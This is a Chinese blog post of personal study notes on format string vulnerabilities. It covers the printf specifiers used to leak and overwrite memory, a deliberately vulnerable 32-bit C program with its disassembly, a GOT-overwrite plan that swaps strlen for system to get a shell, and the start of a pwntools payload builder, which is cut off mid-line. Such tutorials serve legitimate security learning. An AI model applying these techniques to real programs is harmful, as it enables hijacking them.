【逆向学习记录】格式化字符串漏洞原理及其利用

1 概述

前面学习完成栈溢出的漏洞利用,接下来最长用到的就是格式化字符串了,由于懒散,春节之前耽误的很多时间,这里统一整理一下
学习的过程中,主要参考文章:
格式化字符串利用小结
CTF WIKI
格式化字符串漏洞利用

2 关键知识点

引用参考文件的内容
%c:输出字符,配上%n可用于向指定地址写数据。
%d:输出十进制整数,配上%n可用于向指定地址写数据。
%x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。
%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。
%s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),
%$hn表示写入的地址空间为2字节,
%$hhn表示写入的地址空间为1字节,
%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。
%n是通过格式化字符串漏洞改变程序流程的关键方式,而其他格式化字符串参数可用于读取信息或配合%n写数据。

3 案例

由于32位比较简单,因此优先使用32位程序进行漏洞学习,然后再使用64位,并且关闭栈保护

3.1 源码

#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[]){
   
    char s[0x100] = {
   0};
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    memset(s, 0, 0x100);
    printf("input:");
    fgets(s, 1024, stdin);
    int len = strlen(s);
    printf("output:%d",len);
    printf(s);
    puts("good luck")
    return 0;
}

3.2 汇编代码

0x0804854b <+0>:     lea    ecx,[esp+0x4]
0x0804854f <+4>:     and    esp,0xfffffff0
0x08048552 <+7>:     push   DWORD PTR [ecx-0x4]
0x08048555 <+10>:    push   ebp
0x08048556 <+11>:    mov    ebp,esp
0x08048558 <+13>:    push   edi
0x08048559 <+14>:    push   ecx
0x0804855a <+15>:    sub    esp,0x110
0x08048560 <+21>:    lea    edx,[ebp-0x10c]
0x08048566 <+27>:    mov    eax,0x0
0x0804856b <+32>:    mov    ecx,0x40
0x08048570 <+37>:    mov    edi,edx
0x08048572 <+39>:    rep stos DWORD PTR es:[edi],eax
0x08048574 <+41>:    mov    eax,ds:0x804a044
0x08048579 <+46>:    push   0x0
0x0804857b <+48>:    push   0x2
0x0804857d <+50>:    push   0x0
0x0804857f <+52>:    push   eax
0x08048580 <+53>:    call   0x8048420 <setvbuf@plt>
0x08048585 <+58>:    add    esp,0x10
0x08048588 <+61>:    mov    eax,ds:0x804a040
0x0804858d <+66>:    push   0x0
0x0804858f <+68>:    push   0x2
0x08048591 <+70>:    push   0x0
0x08048593 <+72>:    push   eax
0x08048594 <+73>:    call   0x8048420 <setvbuf@plt>
0x08048599 <+78>:    add    esp,0x10
0x0804859c <+81>:    sub    esp,0x4
0x0804859f <+84>:    push   0x100
0x080485a4 <+89>:    push   0x0
0x080485a6 <+91>:    lea    eax,[ebp-0x10c]
0x080485ac <+97>:    push   eax
0x080485ad <+98>:    call   0x8048430 <memset@plt>
0x080485b2 <+103>:   add    esp,0x10
0x080485b5 <+106>:   sub    esp,0xc
0x080485b8 <+109>:   push   0x80486c0
0x080485bd <+114>:   call   0x80483d0 <printf@plt>
0x080485c2 <+119>:   add    esp,0x10
0x080485c5 <+122>:   mov    eax,ds:0x804a040
0x080485ca <+127>:   sub    esp,0x4
0x080485cd <+130>:   push   eax
0x080485ce <+131>:   push   0x100
0x080485d3 <+136>:   lea    eax,[ebp-0x10c]
0x080485d9 <+142>:   push   eax
0x080485da <+143>:   call   0x80483e0 <fgets@plt>
0x080485df <+148>:   add    esp,0x10
0x080485e2 <+151>:   sub    esp,0xc
0x080485e5 <+154>:   lea    eax,[ebp-0x10c]
0x080485eb <+160>:   push   eax
0x080485ec <+161>:   call   0x8048400 <strlen@plt>
0x080485f1 <+166>:   add    esp,0x10
0x080485f4 <+169>:   mov    DWORD PTR [ebp-0xc],eax
0x080485f7 <+172>:   sub    esp,0x8
0x080485fa <+175>:   push   DWORD PTR [ebp-0xc]
0x080485fd <+178>:   push   0x80486c7
0x08048602 <+183>:   call   0x80483d0 <printf@plt>
0x08048607 <+188>:   add    esp,0x10
0x0804860a <+191>:   sub    esp,0xc
0x0804860d <+194>:   lea    eax,[ebp-0x10c]
0x08048613 <+200>:   push   eax
0x08048614 <+201>:   call   0x80483d0 <printf@plt>
0x08048619 <+206>:   add    esp,0x10
0x0804861c <+209>:   sub    esp,0xc
0x0804861f <+212>:   push   0x80486d1
0x08048624 <+217>:   call   0x80483f0 <puts@plt>
0x08048629 <+222>:   add    esp,0x10
0x0804862c <+225>:   mov    eax,0x0
0x08048631 <+230>:   lea    esp,[ebp-0x8]
0x08048634 <+233>:   pop    ecx
0x08048635 <+234>:   pop    edi
0x08048636 <+235>:   pop    ebp
0x08048637 <+236>:   lea    esp,[ecx-0x4]
0x0804863a <+239>:   ret

3.3 调试及利用

3.3.1 利用思路

1,覆盖put的got表地址为mian函数,这样就可以反复利用这个漏洞
2,泄露__libc_start_main的真实地址
3,将strlen函数修改为system
4,获得shell

3.3.2 32位利用脚本

from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else<
  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值